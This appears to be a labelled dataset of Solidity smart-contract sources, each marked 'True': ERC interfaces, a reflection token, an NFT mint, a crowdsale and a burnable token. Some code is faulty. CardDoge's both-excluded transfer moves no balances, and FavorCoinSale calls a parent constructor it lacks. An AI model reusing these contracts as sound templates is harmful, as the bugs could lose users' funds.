- `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }

True

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/* Website: carddoge.com Telegram: https://t.me/joinchat/fOwQ6ZFKcSs0Njhh Twitter: https://twitter.com/carddoge1 */ pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract CardDoge is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = 'CardDoge'; string private _symbol = 'CDoge'; uint8 private _decimals = 9; uint256 public _maxTxAmount = 50000000000 * 10**9; constructor () public { _rOwned[_msgSender()] = _rTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { _maxTxAmount = _tTotal.mul(maxTxPercent).div( 10**2 ); } function reflect(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeAccount(address account) external onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(sender != owner() && recipient != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee); } function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) { uint256 tFee = tAmount.div(100).mul(2); uint256 tTransferAmount = tAmount.sub(tFee); return (tTransferAmount, tFee); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }

True

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// SPDX-License-Identifier: MIT pragma solidity ^0.8.12; // This is an NFT for Wise Owl Club https://wiseowlclub.io/ // smart contract developed by Ian Cherkowski https://twitter.com/IanCherkowski // Thanks to chiru-labs for their gas friendly ERC721A implementation. // import "./ERC721A.sol"; import "./Ownable.sol"; import "./IERC20.sol"; import "./ReentrancyGuard.sol"; contract WiseOwlClub is ERC721A, ReentrancyGuard, Ownable { event PaymentReceived(address from, uint256 amount); string private constant _name = "Wise Owl Club"; string private constant _symbol = "WOC"; string public baseURI = "https://ipfs.io/ipfs/QmSaXe9nBBaEmXwBDVLXYQwQq2iWVGoXSPvV8VgKfi73xk/"; uint256 public maxMint = 20; uint256 public presaleLimit = 500; uint256 public presalePrice = 0.08 ether; uint256 public mintPrice = 0.1 ether; uint256 public maxSupply = 3500; uint256 public presaleStart = 14315634; uint256 public mainStart = 14316447; mapping(address => uint8) public presaleList; uint16 public presaleCount; constructor() ERC721A(_name, _symbol) payable { } // @dev needed to enable receiving to test withdrawls receive() external payable virtual { emit PaymentReceived(_msgSender(), msg.value); } // @dev admin can mint to a list of addresses with the quantity entered function gift(address[] calldata recipients, uint256[] calldata amounts) external onlyOwner { uint256 numTokens; uint256 i; require(recipients.length == amounts.length, "Wise: The number of addresses is not matching the number of amounts"); //find total to be minted numTokens = 0; for (i = 0; i < recipients.length; i++) { numTokens += amounts[i]; } require(numTokens < 200, "Wise: Minting more than 200 may get stuck"); require(totalSupply() + numTokens <= maxSupply, "Wise: Can't mint more than the max supply"); //mint to the list for (i = 0; i < amounts.length; i++) { _safeMint(recipients[i], amounts[i]); } } // @dev public minting function mint(uint8 _mintAmount) external payable nonReentrant { uint256 supply = totalSupply(); require(msg.sender == tx.origin, "Wise: no contracts"); require(block.number > presaleStart, "Wise: Minting not started yet"); require(_mintAmount > 0, "Wise: Cant mint 0"); require(_mintAmount <= maxMint, "Wise: Must mint less than the max"); require(supply + _mintAmount <= maxSupply, "Wise: Cant mint more than max supply"); if (block.number < mainStart) { require(supply + _mintAmount <= presaleLimit, "Wise: Presale is sold out"); uint8 reserve = presaleList[msg.sender]; require(reserve > 0, "Wise: None left for you"); require(_mintAmount <= reserve, "Wise: Cant mint more than your allocation"); require(msg.value >= presalePrice * _mintAmount, "Wise: Must send eth of cost per nft"); presaleList[msg.sender] = reserve - _mintAmount; } else { require(msg.value >= mintPrice * _mintAmount, "Wise: Must send eth of cost per nft"); } _safeMint(msg.sender, _mintAmount); } // @dev record addresses of presale list function presaleSet(address[] calldata _addresses, uint8[] calldata _amounts) external onlyOwner { uint8 previous; require(_addresses.length == _amounts.length, "Wise: The number of addresses is not matching the number of amounts"); for(uint16 i; i < _addresses.length; i++) { previous = presaleList[_addresses[i]]; presaleList[_addresses[i]] = _amounts[i]; presaleCount = presaleCount + _amounts[i] - previous; } } // @dev set cost of minting function setMintPrice(uint256 _newmintPrice) external onlyOwner { mintPrice = _newmintPrice; } // @dev set cost of presale minting function setPresalePrice(uint256 _newmintPrice) external onlyOwner { presalePrice = _newmintPrice; } // @dev max supply during presale function setPresaleLimit(uint256 _newLimit) external onlyOwner { presaleLimit = _newLimit; } // @dev max mint amount per transaction function setMaxMint(uint256 _newMaxMintAmount) external onlyOwner { maxMint = _newMaxMintAmount; } // @dev main minting start block function setMainStart(uint256 _start) external onlyOwner { mainStart = _start; } // @dev presale start block function setPresaleStart(uint256 _start) external onlyOwner { presaleStart = _start; } // @dev Set the base url path to the metadata used by opensea function setBaseURI(string memory _baseTokenURI) external onlyOwner { baseURI = _baseTokenURI; } // @dev show the baseuri function _baseURI() internal view virtual override returns (string memory) { return baseURI; } // @dev used to withdraw erc20 tokens like DAI function withdrawERC20(IERC20 token, address to) external onlyOwner { token.transfer(to, token.balanceOf(address(this))); } // @dev used to withdraw eth function withdraw(address payable to) external onlyOwner { Address.sendValue(to,address(this).balance); } }

True

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/** * * /$$$$$$$$ /$$$$$$ /$$ /$$ /$$$$$$ /$$$$$$$ /$$$$$$ /$$$$$$ /$$$$$$ /$$ /$$ /$$$$$$ /$$$$$$ /$$ /$$$$$$$$ | $$_____//$$__ $$| $$ | $$ /$$__ $$| $$__ $$ /$$__ $$ /$$__ $$|_ $$_/| $$$ | $$ /$$__ $$ /$$__ $$| $$ | $$_____/ | $$ | $$ \ $$| $$ | $$| $$ \ $$| $$ \ $$ | $$ \__/| $$ \ $$ | $$ | $$$$| $$ | $$ \__/| $$ \ $$| $$ | $$ | $$$$$ | $$$$$$$$| $$ / $$/| $$ | $$| $$$$$$$/ | $$ | $$ | $$ | $$ | $$ $$ $$ | $$$$$$ | $$$$$$$$| $$ | $$$$$ | $$__/ | $$__ $$ \ $$ $$/ | $$ | $$| $$__ $$ | $$ | $$ | $$ | $$ | $$ $$$$ \____ $$| $$__ $$| $$ | $$__/ | $$ | $$ | $$ \ $$$/ | $$ | $$| $$ \ $$ | $$ $$| $$ | $$ | $$ | $$\ $$$ /$$ \ $$| $$ | $$| $$ | $$ | $$ | $$ | $$ \ $/ | $$$$$$/| $$ | $$ | $$$$$$/| $$$$$$/ /$$$$$$| $$ \ $$ | $$$$$$/| $$ | $$| $$$$$$$$| $$$$$$$$ |__/ |__/ |__/ \_/ \______/ |__/ |__/ \______/ \______/ |______/|__/ \__/ \______/ |__/ |__/|________/|________/ εɖɖίε રεĢĢίε ĵΘε * * * * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ pragma solidity ^0.5.17; import "./IncreasingPriceCrowdsale.sol"; import "./Ownable.sol"; import "./ERC20.sol"; contract FavorCoinSale is IncreasingPriceCrowdsale { uint256 public defaultCap; mapping(address => uint256) public contributions; mapping(address => uint256) public caps; address private ownerwallet; constructor ( uint256 _openingTime, uint256 _closingTime, address payable _wallet, address _token, uint256 _initialRate, uint256 _finalRate, uint256 _walletCap ) public FavorCoinCrowdsale(_initialRate, _wallet, _token) TimedCrowdsale(_openingTime, _closingTime) IncreasingPriceCrowdsale(_initialRate, _finalRate) { ownerwallet=_wallet; defaultCap = _walletCap; } function closeSale() onlyOwner payable public{ uint256 contractTokenBalance = tokensRemaining(); if(contractTokenBalance>0){ ERC20(token).transfer(ownerwallet,contractTokenBalance); emit Transfer(address(0),address(ownerwallet),contractTokenBalance); } (bool success, bytes memory mem) = address(wallet).call.value(address(this).balance).gas(21000)(''); require(success); } /** * @dev Sets default user's maximum contribution. * @param _cap Wei limit for individual contribution */ function setDefaultCap( uint256 _cap) external onlyOwner { defaultCap = _cap; } /** * @dev Sets a specific user's maximum contribution. * @param _beneficiary Address to be capped * @param _cap Wei limit for individual contribution */ function setUserCap(address _beneficiary, uint256 _cap) external onlyOwner { caps[_beneficiary] = _cap; } /** * Called from invest() to confirm if the curret investment does not break our cap rule. */ function isBreakingCap(uint tokenAmount) public view returns (bool limitBroken) { if(tokenAmount > getTokensLeft()) { return true; } else { return false; } } /** * We are sold out when our approve pool becomes empty. */ function isCrowdsaleFull() public view returns (bool) { return getTokensLeft() == 0; } /** * Get the amount of unsold tokens allocated to this contract; */ function getTokensLeft() public view returns (uint) { return token.allowance(owner, address(this)); } /** * Transfer tokens from approve() pool to the buyer. * * Use approve() given to this crowdsale to distribute the tokens. */ function assignTokens(address receiver, uint tokenAmount) public onlyOwner { if(!token.transferFrom(address(0), receiver, tokenAmount)) revert(); } /** * @dev Sets a group of users' maximum contribution. * @param _beneficiaries List of addresses to be capped * @param _cap Wei limit for individual contribution */ function setGroupCap( address[] calldata _beneficiaries, uint256 _cap ) external onlyOwner { for (uint256 i = 0; i < _beneficiaries.length; i++) { caps[_beneficiaries[i]] = _cap; } } /** * @dev Returns the cap of a specific user. * @param _beneficiary Address whose cap is to be checked * @return Current cap for individual user */ function getUserCap(address _beneficiary) public view returns (uint256) { return caps[_beneficiary]; } /** * @dev Returns the amount contributed so far by a sepecific user. * @param _beneficiary Address of contributor * @return User contribution so far */ function getUserContribution(address _beneficiary) public view returns (uint256) { return contributions[_beneficiary]; } /** * @dev Extend parent behavior requiring purchase to respect the user's funding cap. * @param _beneficiary Token purchaser * @param _weiAmount Amount of wei contributed */ function _preValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal { super._preValidatePurchase(_beneficiary, _weiAmount); if(caps[_beneficiary]==0){ caps[_beneficiary] = defaultCap; } require(contributions[_beneficiary].add(_weiAmount) <= caps[_beneficiary]); } /** * @dev Extend parent behavior to update user contributions * @param _beneficiary Token purchaser * @param _weiAmount Amount of wei contributed */ function _updatePurchasingState( address _beneficiary, uint256 _weiAmount ) internal { super._updatePurchasingState(_beneficiary, _weiAmount); contributions[_beneficiary] = contributions[_beneficiary].add(_weiAmount); } }

True

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pragma solidity ^0.4.23; contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } contract VHW is BurnableToken { string public name = "VHW"; string public symbol = "VHW"; uint public decimals = 6; uint public INITIAL_SUPPLY = 352500000 * (10 ** decimals); constructor() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; } }

True

